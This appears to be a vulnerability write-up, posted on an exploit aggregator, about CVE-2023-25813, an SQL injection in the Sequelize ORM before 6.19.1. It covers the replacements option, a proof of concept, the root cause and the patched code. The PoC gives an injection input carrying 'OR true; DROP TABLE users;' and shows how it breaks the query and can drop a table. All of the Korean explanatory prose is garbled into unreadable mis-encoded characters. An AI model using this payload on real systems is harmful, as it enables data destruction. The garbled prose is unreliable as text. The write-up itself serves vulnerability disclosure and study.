Share
## https://sploitus.com/exploit?id=C1CEDF4F-9693-5F36-A12B-DB4D5F063A16
# CVE-2023-25813

## CVE ์ •๋ณด
- **CVE ๋ฒˆํ˜ธ**: [CVE-2023-25813](https://nvd.nist.gov/vuln/detail/CVE-2023-25813)
- **์„ค๋ช…**: Sequelize < 6.19.1 ๋ฒ„์ „์—์„œ `replacements` ์˜ต์…˜์œผ๋กœ ์ „๋‹ฌ๋œ ์ž…๋ ฅ๊ฐ’์ด ์ ์ ˆํžˆ ์ด์Šค์ผ€์ดํ”„๋˜์ง€ ์•Š์•„, ํŠน์ • ์ฟผ๋ฆฌ ๊ตฌ์„ฑ์— ๋”ฐ๋ผ SQL Injection์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.
- **์ทจ์•ฝ ๋ฒ”์œ„**: Sequelize 6.19.0 ์ดํ•˜ ๋ฒ„์ „
- **ํŒจ์น˜ ๋ฒ„์ „**: 6.19.1
- **CVSS ์ ์ˆ˜**
  - **NIST ๊ธฐ์ค€**: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  - **GitHub (CNA) ๊ธฐ์ค€**: 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

## ์žฌํ˜„ ํ™˜๊ฒฝ
- Node.js
- Sequelize v6.19.0
- MySQL

## Sequelize ๊ฐœ์š”
Sequelize๋Š” Node.js์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ORM(Object-Relational Mapping) ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ค‘ ํ•˜๋‚˜์ด๋‹ค. ORM์€ ๊ฐ์ฒด์™€ ๊ด€๊ณ„ํ˜• ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ฐ„์˜ ์ƒํ˜ธ ๋ณ€ํ™˜์„ ์ž๋™ํ™”ํ•˜๋Š” ๊ธฐ์ˆ ๋กœ, SQL ์ฟผ๋ฆฌ๋ฅผ ์ง์ ‘ ์ž‘์„ฑํ•˜์ง€ ์•Š๊ณ ๋„ ๊ฐ์ฒด๋ฅผ ํ†ตํ•ด ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๋ ˆ์ฝ”๋“œ๋ฅผ ์กฐํšŒ, ์ƒ์„ฑ, ์ˆ˜์ •, ์‚ญ์ œํ•  ์ˆ˜ ์žˆ๋‹ค.
```jsx
// SELECT * FROM users WHERE id = 1;
const user = await User.findByPk(1);
```

## Replacements ์‚ฌ์šฉ ๋ฐฉ๋ฒ•
`replacements`๋Š” Sequelize์—์„œ ์›์‹œ SQL ์ฟผ๋ฆฌ ๋˜๋Š” ORM ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ, ์‚ฌ์šฉ์ž ์ž…๋ ฅ๊ฐ’์„ SQL์— ์•ˆ์ „ํ•˜๊ฒŒ ์ฃผ์ž…ํ•˜๊ธฐ ์œ„ํ•œ ๋ฐ”์ธ๋”ฉ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด๋‹ค. ์ด๋Š” SQL Injection์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•œ ์ฃผ์š” ์ˆ˜๋‹จ์œผ๋กœ ์‚ฌ์šฉ๋œ๋‹ค.

```jsx
// ์œ„์น˜ ๊ธฐ๋ฐ˜ ๋ฐ”์ธ๋”ฉ
await sequelize.query('SELECT * FROM projects WHERE status = ?', {
  replacements: ['active'],
});

// ํ‚ค ๊ธฐ๋ฐ˜ ๋ฐ”์ธ๋”ฉ
await sequelize.query(
  'SELECT * FROM users WHERE name = :name AND age = :age',
  {
    replacements: {
      name: 'Alice',
      age: 25
    }
  }
);
```

## ์ทจ์•ฝ์  ๊ฐœ์š”
Sequelize๋Š” ์‚ฌ์šฉ์ž ์ž…๋ ฅ๊ฐ’์„ SQL์— ์•ˆ์ „ํ•˜๊ฒŒ ๋ฐ”์ธ๋”ฉํ•˜๊ธฐ ์œ„ํ•ด `replacements` ์˜ต์…˜์„ ์ œ๊ณตํ•œ๋‹ค.
๊ทธ๋Ÿฌ๋‚˜ Sequelize 6.19.1 ๋ฏธ๋งŒ ๋ฒ„์ „์—์„œ๋Š” ORM ๋ฉ”์„œ๋“œ ์‚ฌ์šฉ ์‹œ, `replacements`๋ฅผ ํ†ตํ•ด ๋ฐ”์ธ๋”ฉํ–ˆ์Œ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ  **๋‚ด๋ถ€ SQL ์ƒ์„ฑ ๋ฐ ์น˜ํ™˜ ์ˆœ์„œ์˜ ๋ฌธ์ œ**๋กœ ์ธํ•ด SQL Injection์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.

## PoC
์•„๋ž˜๋Š” ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๋Š” Sequelize ์ฝ”๋“œ ์˜ˆ์‹œ์ด๋‹ค. literal๊ณผ replacements๋ฅผ ์กฐํ•ฉํ•˜์—ฌ ์‚ฌ์šฉํ•˜๋Š” ์ƒํ™ฉ์—์„œ SQL Injection์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค.
```jsx
User.findAll({
  where: or(
    literal('soundex("firstName") = soundex(:firstName)'),
    { lastName: lastName },
  ),
  replacements: { firstName },
})
```

๊ณต๊ฒฉ์ž๋Š” replacements์— ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ž…๋ ฅ๊ฐ’์„ ์ฃผ์ž…ํ•จ์œผ๋กœ์จ ์ฟผ๋ฆฌ ๊ตฌ์กฐ๊ฐ€ ๋ฌด๋„ˆ์ง€๊ฒŒ ๋œ๋‹ค.
```jsx
{
  "firstName": "OR true; DROP TABLE users;",
  "lastName": ":firstName"
}
```

replacements ํ‚ค(:firstName)๋ฅผ ๊ฐ’์—๋„ ๋‹ค์‹œ ์‚ฝ์ž…ํ•˜์—ฌ, ๋ฐ”์ธ๋”ฉ ํ‚ค๋ฅผ ํ•œ ๋ฒˆ ๋” ๋„ฃ์–ด์ฃผ๋Š” ๊ตฌ์กฐ์ด๋‹ค.
```sql
SELECT * FROM users 
WHERE soundex("firstName") = soundex(:firstName) 
	OR "lastName" = ':firstName'
```

์™„์„ฑ๋œ ์ตœ์ข… ์ฟผ๋ฆฌ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค. ํ•˜์ง€๋งŒ, ํ•ด๋‹น ์ฟผ๋ฆฌ๋Š” ๊ตฌ์กฐ์ƒ ๋ช…ํ™•ํ•˜๊ฒŒ ์‹คํ–‰ ์—ฌ๋ถ€๋ฅผ ํŒ๋‹จํ•˜๊ธฐ ์–ด๋ ค์šด ํ˜•ํƒœ๋ฅผ ์ทจํ•˜๊ณ  ์žˆ์œผ๋ฉฐ SQL ํŒŒ์„œ์˜ ํ•ด์„ ๋ฐฉ์‹ ๋ฐ DB ์„ค์ •์— ๋”ฐ๋ผ ์‹คํ–‰ ๊ฒฐ๊ณผ๊ฐ€ ๋‹ฌ๋ผ์งˆ ์ˆ˜๋Š” ์žˆ์„ ๋“ฏ ํ•˜๋‹ค. ์ผ๋ถ€ ํ™˜๊ฒฝ์—์„œ๋Š” ๋‹จ์ˆœํ•œ ๊ตฌ๋ฌธ ์˜ค๋ฅ˜๋กœ ์ฒ˜๋ฆฌ๋˜์ง€๋งŒ, ์„ค์ •์— ๋”ฐ๋ผ์„œ ์˜๋„ํ•˜์ง€ ์•Š์€ SQL ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๋Š” ์œ„ํ—˜ํ•œ ๊ตฌ์กฐ์ด๋‹ค.
```sql
SELECT * FROM users 
WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;') 
	OR "lastName" = ''OR true; DROP TABLE users;''
```

๋งŒ์•ฝ, SQL ํŒŒ์„œ๊ฐ€ ๋ฉ€ํ‹ฐ์ฟผ๋ฆฌ๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ํ™˜๊ฒฝ์ด๋ผ๋ฉด, ๋ฐ”์ธ๋”ฉ ํ•˜๋‚˜๋กœ ํ…Œ์ด๋ธ”์„ ์‚ญ์ œ์‹œํ‚ฌ ์ˆ˜ ์žˆ๋‹ค.
![image.png](image.png)

## ์ทจ์•ฝ์  ๋ฐœ์ƒ ์›์ธ
Sequelize๋Š” literal ํ•จ์ˆ˜์— ๋“ค์–ด๊ฐ„ ๋ฌธ์ž์—ด์„ ์‹ ๋ขฐํ•˜๋Š” SQL ์กฐ๊ฐ์œผ๋กœ ๊ฐ„์ฃผํ•˜์—ฌ escapeํ•˜์ง€ ์•Š๋Š”๋‹ค. ๋”ฐ๋ผ์„œ, ํ•ด๋‹น ๋ฌธ์ž์—ด์€ SQL ์ฟผ๋ฆฌ์— ๊ทธ๋Œ€๋กœ ์‚ฝ์ž…๋˜๋ฉฐ, ๊ทธ ์•ˆ์— :param์ด ๋‚จ์•„์žˆ๋”๋ผ๋„ ์•„๋ฌด๋Ÿฐ ์ฒ˜๋ฆฌ ์—†์ด ๋‚จ๊ฒจ์ง„๋‹ค.
์•„๋ž˜์™€ ๊ฐ™์ด, `replacements`๋Š” SQL์ด ์™„์ „ํžˆ ๋ฌธ์ž์—ด๋กœ ์กฐ๋ฆฝ๋œ ์ดํ›„ ์‹คํ–‰ ์ง์ „์— ๋‚จ์•„ ์žˆ๋Š” `:param` ํ† ํฐ์„ ์ฐพ์•„ ์น˜ํ™˜ํ•˜๋Š” ๋ฐฉ์‹์ด๊ธฐ ๋•Œ๋ฌธ์—, ์ด๋ฏธ ๊ตฌ์กฐ๊ฐ€ ํ™•์ •๋œ SQL ๋‚ด๋ถ€์— ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ด ๊ทธ๋Œ€๋กœ ์‚ฝ์ž…๋˜๋ฉฐ, ๊ทธ๋กœ ์ธํ•ด ์ฟผ๋ฆฌ ์ „์ฒด์˜ ๊ตฌ์กฐ๊ฐ€ ๋ฌด๋„ˆ์ง€๊ณ  ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค.
```jsx
// sequelize-6.19.0/src/sequelize.js

if (options.replacements) {
      if (Array.isArray(options.replacements)) {
        sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
      } else {
        sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
      }
    }
```

## ํŒจ์น˜
injectReplacements๋ฅผ ์ •์˜ํ•˜์—ฌ ๋ฌธ๋ฒ•์ ์œผ๋กœ ์•ˆ์ „ํ•œ ๊ณณ์—์„œ๋งŒ ๋ฐ”์ธ๋”ฉ์„ ํ—ˆ์šฉํ•˜๋„๋ก ๋ณ€๊ฒฝ๋˜์—ˆ๋‹ค.
```jsx
// sequelize-6.19.1/src/sequelize.js

if (options.replacements) {
  if (Array.isArray(options.replacements)) {
    sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
  } else {
    sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
  }
  sql = injectReplacements(sql, this.dialect, options.replacements);
}
```

## Reference
- [https://github.com/sequelize/sequelize/issues/9410](https://github.com/sequelize/sequelize/issues/9410)
- [https://github.com/advisories/GHSA-wrh9-cjv3-2hpw](https://github.com/advisories/GHSA-wrh9-cjv3-2hpw)
- [https://github.com/sequelize/sequelize/compare/v6.19.0...v6.19.1](https://github.com/sequelize/sequelize/compare/v6.19.0...v6.19.1)